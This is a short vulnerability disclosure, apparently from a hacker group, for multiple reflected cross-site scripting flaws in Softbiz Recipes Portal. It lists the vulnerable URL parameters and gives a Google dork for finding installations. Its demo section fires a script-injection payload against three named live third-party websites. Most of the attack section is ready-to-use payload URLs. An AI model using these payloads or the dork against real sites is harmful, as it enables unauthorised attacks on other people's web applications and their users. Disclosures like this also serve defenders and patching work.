Softbiz Recipes Portal Cross Site Scripting

`################################ In The Name Of God Iran ###############  
########################################  
  
# Exploit Title:Softbiz Recipes Portal Multiple XSS Vulnerabilities  
# Author: Net.Edit0r  
# Date : 2011-08-05  
# home Page: http://Black-HG.Org ~ http://h4ckcity.Org  
# Location : Iran  
# Vendor or Software Link: http://www.softbizscripts.com/  
# Contact : [email protected] & [email protected]  
# Version: N/A  
# Category:: webapps  
# Google dork: "Powered by SoftbizScripts"  
# Tested on: ubuntu 11.04 ~ Linux Back Track 5  
  
####################################################################  
# Proof Of Concept [POC]  
  
http://site/[path]/admin/index.php?msg=[XSS]  
http://site/[path]/signinform.php?id=0&return_add=/caregivers/index.php&errmsg=[XSS]  
http://site/[path]/signinform.php?errmsg=[XSS]  
http://site/[path]/msg_confirm_mem.php?errmsg=[XSS]  
  
# Demo [POC]  
  
http://classifieds-market.net/signinform.php?errmsg="><script>alert(0)</script>  
  
http://www.buy-sellcars.com/msg_confirm_mem.php?errmsg="><script>alert(0)</script>  
  
http://www.micaregivers.org/caregivers/admin/index.php?msg="><script>alert(0)</script>  
  
#########################################################################################  
#Greetz To:  
DarkCoder , Dr.Niloo , Amir-MaGiC , H3x , Cyrus , D3adlY , 3H34N  
Spical Th4nks: B3hz4d | Cru3l.b0y | M4Hd1 | Mikili | L0phtiran And All  
My Friendz  
[ Pentesters.Ir ] , packetstormsecurity.org, 1337day.com ,securityreason.com  
##########################################################################################  
########################### Persian Gulf 4 Ever ~ I Love Iran And All  
Iranian People ####  
`